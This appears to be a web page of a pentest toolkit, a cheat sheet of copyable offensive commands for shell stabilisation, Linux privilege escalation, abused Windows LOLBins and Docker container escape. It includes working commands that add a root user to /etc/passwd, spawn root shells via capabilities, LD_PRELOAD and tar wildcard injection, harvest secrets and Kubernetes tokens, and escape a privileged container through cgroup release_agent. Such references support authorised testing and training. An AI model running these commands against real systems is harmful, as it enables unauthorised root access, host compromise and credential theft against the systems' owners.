Pentest Toolkit

Pentest toolkit with interactive widgets. Scapy packet crafter, shell upgrade path, privesc checklist (Linux/Windows), LOLBins builder, Docker escape decision tree, and cloud privilege escalation pivot (AWS/GCP/Azure).

#Scanning & Recon

#Visual Scapy Packet Crafter

Visual layer-by-layer builder (Ether/IP/TCP/UDP/ICMP/ARP/DNS/Raw), presets for SYN scan/ping/ARP/DNS, full Scapy output with pkt.show() equivalent.

Visual Scapy Packet Crafter

Build layer-by-layer, get Scapy code + packet display

Add Layer:

Presets:

Send Mode:

Current Stack (click header to expand/collapse):

No layers added. Use buttons above or load a preset.

Scapy Code

pkt.show() output

#Privilege Escalation

#Shell Upgrade Path

From raw netcat to full interactive TTY, step by step. Python pty, script, stty raw, full chain.

Shell Upgrade Path

Tip: Wrap your listener with rlwrap for instant readline support (arrow keys, history) on dumb shells:
rlwrap nc -lvnp 4444

Quick Stabilize (full sequence)


Shell Capability Reference

Shell TTY? Interactive? Notes
/bin/sh No Partial No tab complete, no job control, no signal handling
rlwrap + nc No Partial Adds readline (arrows, history) to any dumb shell
bash (no TTY) No Partial Better builtins but still raw, no job control
script /dev/null Partial Yes Allocates PTY; no Python needed. Combine with stty raw for full TTY
python pty Partial Yes Tab complete works, needs stty raw for full TTY
expect spawn Partial Yes Alternative PTY allocator if python/script unavailable
stty raw -echo Yes Yes Full TTY: Ctrl+C, tab, arrows, job control all work
socat Yes Yes Best one-liner option, full PTY in a single command
ssh -o ProxyCommand Yes Yes Use existing shell as transport to get SSH PTY
ConPTY (Windows) Yes Yes Full interactive shell on Windows via pseudo-console API
PowerShell (raw) No Partial Better than cmd.exe but no PTY; upgrade to ConPTY for full interactive

#Privilege Escalation Checklist

Interactive Linux/Windows checklist with copyable commands, Critical/High/Medium badges, and progress bar. SUID, sudo, cron, capabilities, token impersonation, DLL hijacking.

Privilege Escalation Checklist

0 / 0 checks done 0%
System Info
OS / Kernel / Architecture Medium

Gather OS version, kernel version, and architecture. This info drives exploit selection, identifies distro-specific vectors, and reveals if the system is a container.

uname -a
cat /etc/os-release
hostnamectl 2>/dev/null
# Container detection:
cat /proc/1/cgroup 2>/dev/null | grep -iE "(docker|lxc|kubepods)"
ls -la /.dockerenv 2>/dev/null
File System
SUID/SGID Binaries High

SUID binaries run as file owner (often root). Check each result against GTFOBins for exploitation paths. SGID gives group-level access.

# SUID binaries:
find / -perm -4000 -type f 2>/dev/null
# SGID binaries:
find / -perm -2000 -type f 2>/dev/null
Sudo Rights High

Look for NOPASSWD, ALL=(ALL), or specific binaries (vim, python, find, cp, env). Cross-reference with GTFOBins sudo section. Check sudo version for CVE-2021-3156 (Baron Samedit).

sudo -l
sudo --version
Writable /etc/passwd or /etc/shadow Critical

If /etc/passwd is writable, append a new root-equivalent user. If /etc/shadow is readable, crack hashes offline. Use openssl passwd -1 password to generate the hash.

ls -la /etc/passwd /etc/shadow
# If /etc/passwd writable (generate hash first):
HASH=$(openssl passwd -1 pass123)
echo "pwned:$HASH:0:0:root:/root:/bin/bash" >> /etc/passwd
# If /etc/shadow readable, copy and crack offline:
unshadow passwd.txt shadow.txt > combined.txt
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt
World-Writable Files/Dirs Medium

World-writable directories without sticky bit and writable files owned by root can be abused for symlink attacks or direct modification.

# World-writable directories (no sticky bit):
find / -type d -perm -0002 ! -perm -1000 2>/dev/null
# World-writable files:
find / -type f -perm -0002 2>/dev/null
# Files owned by root writable by current user:
find / -user root -writable -type f 2>/dev/null
Scheduled Tasks
Cron Jobs High

Look for cron jobs running as root that call writable scripts. Also check per-user crontabs, /var/spool/cron, and systemd timers.

cat /etc/crontab; ls -la /etc/cron.*; ls -la /var/spool/cron/crontabs/ 2>/dev/null
crontab -l 2>/dev/null
systemctl list-timers --all 2>/dev/null
find / -writable -name "*.sh" 2>/dev/null
Environment
PATH Hijacking High

If a SUID binary or sudo script calls system("cmd") without full path, and a writable dir appears before /usr/bin in PATH, drop a malicious binary there.

echo $PATH
# Check each dir:
find $(echo $PATH | tr ':' ' ') -maxdepth 0 -writable 2>/dev/null
Capabilities High

cap_setuid on python/perl/ruby allows UID change to 0. cap_sys_admin is nearly equivalent to root. cap_dac_read_search allows reading any file. Check GTFOBins caps section.

getcap -r / 2>/dev/null
# Exploit cap_setuid on python3:
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
LD_PRELOAD / LD_LIBRARY_PATH High

If sudo -l shows env_keep+=LD_PRELOAD or LD_LIBRARY_PATH, compile a shared object that spawns a shell and inject it via sudo.

# Check if env vars are preserved:
sudo -l | grep -i "env_keep"
# Compile malicious .so:
# void _init() { setuid(0); system("/bin/bash"); }
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
sudo LD_PRELOAD=/tmp/pe.so 
Wildcard Injection High

If a cron job or script runs tar, chown, or rsync with a wildcard (*) in a user-writable directory, filenames are interpreted as command-line flags.

# tar wildcard injection (cron runs: tar czf backup.tar.gz *):
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" > shell.sh
# rsync wildcard: create file named "-e sh shell.sh"
Groups & Services
Docker Group Critical

Members of the docker group can mount the host root filesystem into a container and chroot into it as root. Also check lxd/lxc group membership.

id | grep -E "(docker|lxd|lxc)"
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Running Services as Root Medium

Services running as root may have local exploits, writable config files, or exposed sockets. Target databases, web servers, custom daemons.

ps aux | grep -i root
ss -tlnp
# Check for writable configs of root processes:
find /etc -writable 2>/dev/null
Writable Service Files High

A writable .service file that runs as root allows replacing the ExecStart directive with an arbitrary command, triggered on next service restart.

find /etc/systemd /lib/systemd /usr/lib/systemd -writable 2>/dev/null
# Also check ExecStart scripts:
grep -r "ExecStart=" /etc/systemd/system/ 2>/dev/null
NFS no_root_squash Medium

If no_root_squash is set, a remote root user mounting the NFS share retains root UID. Drop a SUID shell into the share from attacker machine.

cat /etc/exports
showmount -e target
# From attacker (root):
mount -t nfs target:/share /tmp/nfs
cp /bin/bash /tmp/nfs/shell; chmod +s /tmp/nfs/shell
# On victim: /share/shell -p
Mounted Filesystems / fstab Medium

Check for mounted shares with credentials, nosuid/noexec bypass opportunities, unmounted partitions in fstab with sensitive data, and tmpfs writable mounts.

mount | column -t
cat /etc/fstab
df -h
# Credentials in mount options:
grep -i "cred\|pass\|user" /etc/fstab 2>/dev/null
# Unmounted partitions:
lsblk -f
Credentials & Keys
SSH Keys High

Private SSH keys allow direct login as the key owner. Writable authorized_keys files allow injecting your own public key for persistent access.

find / -name authorized_keys -o -name id_rsa -o -name id_ecdsa -o -name id_ed25519 2>/dev/null
# Check permissions and readability:
ls -la /root/.ssh/ 2>/dev/null
ls -la /home/*/.ssh/ 2>/dev/null
Passwords in Files / History / Env Medium

Cleartext passwords in config files, bash history, environment variables, or database connection strings. Common in web app configs, .env files, and backup scripts.

cat ~/.bash_history; cat /root/.bash_history 2>/dev/null
env | grep -iE "(pass|key|token|secret)"
grep -rli "password" /etc/ /opt/ /var/www/ 2>/dev/null
find / -name "*.conf" -o -name "*.config" -o -name ".env" 2>/dev/null | head -20
Network
Network / Internal Services Medium

Localhost-bound services (databases, admin panels, APIs) are often unauthenticated. Multiple interfaces suggest pivoting opportunities. ARP cache reveals other hosts.

ip addr; ip route
ss -tlnp
# Localhost-only services:
ss -tlnp | grep 127.0.0.1
# ARP cache (nearby hosts):
ip neigh; arp -a 2>/dev/null
# DNS config:
cat /etc/resolv.conf
Interesting Groups High

disk group: raw read/write to /dev/sda (debugfs). adm: read all logs (/var/log). video: read framebuffer. staff: write to /usr/local. Also check sudo, wheel, shadow.

id; groups
# Disk group = raw disk access:
debugfs /dev/sda1
# adm group = read logs:
ls -la /var/log/auth.log /var/log/syslog 2>/dev/null
grep -ri "password" /var/log/ 2>/dev/null | head -20
Kernel
Kernel Exploits Critical

DirtyPipe (CVE-2022-0847) affects kernel 5.8-5.16.11. DirtyCow (CVE-2016-5195) affects kernels up to 4.8.3. Polkit pkexec (CVE-2021-4034) affects polkit < 0.120. GameOver(lay) (CVE-2023-2640/CVE-2023-32629) affects Ubuntu OverlayFS.

uname -r; cat /etc/os-release
searchsploit linux kernel $(uname -r | cut -d'-' -f1)
# Key CVEs:
# DirtyPipe: kernel 5.8 - 5.16.11
# DirtyCow: kernel < 4.8.3
# Polkit pkexec: polkit < 0.120
# GameOver(lay): Ubuntu w/ OverlayFS

#LOLBins Command Builder

Windows / Linux / macOS Living Off the Land binaries with detection risk per binary.

LOLBins Command Builder

Top Abused Windows LOLBins

Binary Location Common Abuse Detection
certutil.exe System32 Download, encode/decode, hash HIGH
mshta.exe System32 Execute HTA, inline VBScript/JS HIGH
rundll32.exe System32 Execute DLL, JavaScript HIGH
regsvr32.exe System32 Execute SCT (Squiblydoo) HIGH
wmic.exe System32 Process create, XSL execution HIGH
powershell.exe System32 Download, execute, persist HIGH
bitsadmin.exe System32 Download, execute HIGH
msiexec.exe System32 Install/execute remote MSI MEDIUM
cmstp.exe System32 UAC bypass via INF MEDIUM
msbuild.exe .NET Framework Inline C# task execution MEDIUM
installutil.exe .NET Framework AppLocker bypass MEDIUM
forfiles.exe System32 Proxy command execution LOW
curl.exe System32 (Win10+) Download LOW

#Post-Exploitation

#Docker Escape Decision Tree

Detection (privileged, socket, capabilities, kernel CVEs) then exploitation by technique: cgroup notify-on-release, docker socket, DirtyPipe, runc CVE-2019-5736, host path mount.

Container Escape

Decision Tree

Detection - Run Inside Container

?
Privileged Container Critical

CapEff with all bits set means all capabilities granted (full privileged). Common values: 0000003fffffffff (kernel < 5.8) or 000001ffffffffff (kernel 5.8+). Enables cgroup notify-on-release escape, direct device access (/dev/sda), and mount operations.

grep CapEff /proc/self/status
# Privileged (all bits set): 0000003fffffffff or 000001ffffffffff
# Decode readable: capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
?
Docker Socket Mounted Critical

If /var/run/docker.sock exists inside the container and is writable, the container can communicate with the Docker daemon on the host and launch privileged containers.

ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null
# Also check for containerd socket:
ls -la /run/containerd/containerd.sock 2>/dev/null
# Readable/writable = full escape via API
?
Host PID Namespace High

If PID 1 is the host's init process (systemd, /sbin/init), the container shares the host PID namespace. Can read /proc/[pid]/mem of host processes and inject into them.

ls -la /proc/1/exe
# Host init = sharing host PID namespace
cat /proc/1/cmdline | tr '\0' ' '
?
Host Network Namespace High

Host network namespace allows binding to host ports, sniffing host network traffic, and reaching internal services on 127.0.0.1 that are not exposed via Docker port mappings.

ip addr show
# If you see host IPs (not just 172.17.0.x / 10.x docker range)
cat /proc/net/fib_trie | grep -A1 "LOCAL"
?
Writable Host Path Mounted High

Look for non-overlay, non-tmpfs mounts pointing to host paths like /etc, /root, /home, /var/lib, or /. Writing to these modifies the host filesystem directly.

cat /proc/mounts | grep -v "^overlay\|^tmpfs\|^proc\|^cgroup\|^devpts\|^mqueue\|^shm\|^/dev"
# Interesting: ext4, xfs, or host-looking paths
?
Dangerous Capabilities Critical

cap_sys_admin enables cgroup escape and many kernel interfaces. cap_sys_ptrace enables process injection on host PIDs. cap_sys_module allows loading kernel modules. cap_dac_read_search bypasses read permissions (Shocker exploit). cap_dac_override bypasses file write permission checks. cap_net_admin allows packet injection/sniffing.

capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
# Or:
cat /proc/self/status | grep -E "Cap(Prm|Eff|Bnd)"
?
Kernel / Runtime CVEs High

DirtyPipe (CVE-2022-0847): kernels 5.8 to < 5.16.11 / < 5.15.25 / < 5.10.102. runc CVE-2019-5736: runc < 1.0-rc6. CVE-2024-21626 (Leaky Vessels): runc < 1.1.12. CVE-2022-0185: heap overflow with cap_sys_admin + user ns. GameOverlay (CVE-2023-2640 / CVE-2023-32629): Ubuntu kernels with OverlayFS. Containers share the host kernel.

uname -r
# DirtyPipe: 5.8 <= kernel < 5.16.11, < 5.15.25, < 5.10.102
# GameOverlay: Ubuntu kernels with OverlayFS (CVE-2023-2640/CVE-2023-32629)
cat /etc/os-release 2>/dev/null | grep -i ubuntu
runc --version 2>/dev/null
# CVE-2019-5736: runc < 1.0-rc6
# CVE-2024-21626 (Leaky Vessels): runc < 1.1.12
?
Sensitive Mount Points High

Access to /dev/sda (raw disk), /proc/sysrq-trigger (kernel panic/reboot), /proc/kcore (kernel memory), or /sys/kernel can enable direct host compromise or DoS.

# Check for raw disk device access:
ls -la /dev/sda /dev/vda /dev/xvda 2>/dev/null
# Check for dangerous /proc and /sys entries:
ls -la /proc/sysrq-trigger /proc/kcore /sys/kernel/vmcoreinfo 2>/dev/null
# Check if /proc/sysrq-trigger is writable:
test -w /proc/sysrq-trigger && echo "WRITABLE - can crash host"
?
Env Vars / K8s Service Account Medium

Environment variables may leak API keys, database credentials, or cloud tokens. Kubernetes pods automatically mount a service account token that can query the K8s API.

# Dump env vars for secrets:
env | grep -iE "key|secret|token|pass|auth|api|cred|aws|azure|gcp"
# Kubernetes service account token:
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null
# K8s API from inside pod:
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk $APISERVER/api/v1/namespaces --header "Authorization: Bearer $TOKEN"

Exploitation Techniques

Privileged Container + cgroup notify-on-release Critical

Requires cap_sys_admin (present in privileged containers). Mount host cgroup, write a command to notify-on-release, trigger execution when a cgroup becomes empty. Command runs on the host as root.

# Step 1: mount host cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
# Step 2: enable notify-on-release and set payload path
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/mounts | head -1)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Step 3: write payload (runs on HOST as root)
cat > /cmd << 'PAYLOAD'
#!/bin/sh
ps aux > /tmp/output.txt
# Or: cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash
PAYLOAD
chmod +x /cmd
# Step 4: trigger (spawn process in cgroup, let it die)
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Payload executed on host; read results:
cat /tmp/output.txt

#Cloud Privilege Escalation Pivot

From an endpoint metadata service (AWS/GCP/Azure): step-by-step commands to retrieve the attached role, enumerate permissions, identify cloud privesc vectors, and escalate. 50 commands + 25 privesc vectors audited.

Cloud Privilege Escalation Pivot

#Also See

#Cyber Aurelien Guidi

  • Nmap (Network scanning + Nmap Command Builder)
  • ffuf (Web fuzzing + ffuf Command Builder)
  • Metasploit (msfvenom, handler, post-exploit, pivot planner)
  • SQLmap (SQL injection + SQLmap Command Builder)
  • Cracking Toolkit (Hashcat, John, crack time estimator)
  • NetExec (Network execution and lateral movement)
  • Red Team Toolkit (Evasion, C2, obfuscation tools)
  • GTFOBins (Unix privesc binaries reference)
  • LOLBAS (Windows LOL binaries reference)
  • Active Directory (AD exploitation + Advisor widget)
  • Entra / M365 (Cloud identity attacks + Advisor widget)